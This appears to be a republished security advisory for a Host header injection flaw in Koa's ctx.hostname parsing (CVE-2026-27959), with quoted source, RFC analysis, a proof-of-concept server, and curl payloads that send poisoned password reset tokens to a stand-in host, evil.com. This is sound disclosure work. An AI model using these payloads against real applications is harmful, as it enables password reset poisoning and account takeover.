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Summary
Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.
Details
The vulnerability exists in Koa's hostname getter in lib/request.js:
// Koa 2.16.1 - lib/request.js
get hostname() {
const host = this.host;
if (!host) return '';
if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
return host.split(':', 1)[0];
}
The host getter retrieves the raw header value with HTTP/2 and proxy support:
// Koa 2.16.1 - lib/request.js
get host() {
const proxy = this.app.proxy;
let host = proxy && this.get('X-Forwarded-Host');
if (!host) {
if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
if (!host) host = this.get('Host');
}
if (!host) return '';
return host.split(',')[0].trim();
}
The Problem
The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.
RFC 3986 Section 3.2.2 defines the host component as:
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="
The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.
Attack Vector
When an attacker sends:
Host: evil.com:fake@legitimate.com:3000
Koa parses this as:
| API | Returns | Notes |
|---|---|---|
ctx.get('Host') |
"evil.com:fake@legitimate.com:3000" |
Raw header |
ctx.hostname |
"evil.com" |
Attacker-controlled |
ctx.host |
"evil.com:fake@legitimate.com:3000" |
Raw header value |
ctx.origin |
"http://evil.com:fake@legitimate.com:3000" |
Protocol + malformed host |
The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.
Additional Concern: ctx.origin
Koa's ctx.origin property concatenates protocol and host without validation:
// lib/request.js
get origin() {
return `${this.protocol}://${this.host}`;
}
Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.
HTTP/2 Consideration
Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:
if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.
PoC
Setup
// server.js
const Koa = require('koa');
const app = new Koa();
// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
if (ctx.path === '/forgot-password') {
const resetToken = 'abc123securtoken';
const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
ctx.body = {
message: 'Password reset link generated',
resetUrl: resetUrl,
debug: {
rawHost: ctx.get('Host'),
parsedHostname: ctx.hostname,
origin: ctx.origin,
protocol: ctx.protocol
}
};
}
});
app.listen(3000, () => console.log('Server on http://localhost:3000'));
Exploit
curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password
Result
{
"message": "Password reset link generated",
"resetUrl": "http://evil.com/reset?token=abc123securtoken",
"debug": {
"rawHost": "evil.com:fake@localhost:3000",
"parsedHostname": "evil.com",
"origin": "http://evil.com:fake@localhost:3000",
"protocol": "http"
}
}
The password reset URL points to evil.com instead of the legitimate server. In a real attack:
Attacker requests password reset for victim's email with malicious Host header
Server generates reset link using
ctx.hostname→https://evil.com/reset?token=SECRETVictim receives email with poisoned link
Victim clicks link, token is sent to attacker's server
Attacker uses token to reset victim's password
Additional Test Cases
# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"
# With port preservation attempt
curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"
# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"
Deployment Consideration
For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:
No reverse proxy - Application directly exposed to internet
Misconfigured proxy - Proxy doesn't override/validate Host header
Proxy trust enabled (
app.proxy = true) -X-Forwarded-Hostcan be injectedDefault virtual host - Server is the catch-all for unrecognized Host headers
Impact
Vulnerability Type
CWE-20: Improper Input Validation
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax
Attack Scenarios
1. Password Reset Poisoning (High Severity)
Attacker hijacks password reset tokens by poisoning reset URLs
Requires victim to click link in email
Results in account takeover
2. Email Verification Bypass
Attacker poisons email verification links
Can verify attacker-controlled email on victim accounts
3. OAuth/SSO Callback Manipulation
Applications using
ctx.hostnamefor OAuth redirect URIsAttacker redirects OAuth callbacks to malicious server
Results in token theft
4. Web Cache Poisoning
If responses are cached without Host in cache key
Poisoned URLs served to all users
Persistent XSS/phishing via cached responses
5. Server-Side Request Forgery (SSRF)
Internal routing decisions based on
ctx.hostnameAttacker manipulates which backend receives requests
Who Is Impacted
Direct impact: Any Koa application using
ctx.hostnameorctx.originfor URL generation without additional validationCommon patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations
پیوندها
- https://github.com/advisories/GHSA-7gcc-r8m5-44qm
- https://github.com/koajs/koa
- https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df
- https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb
- https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm
- https://nvd.nist.gov/vuln/detail/CVE-2026-27959
گزارشدهندگان
- p80n-sec

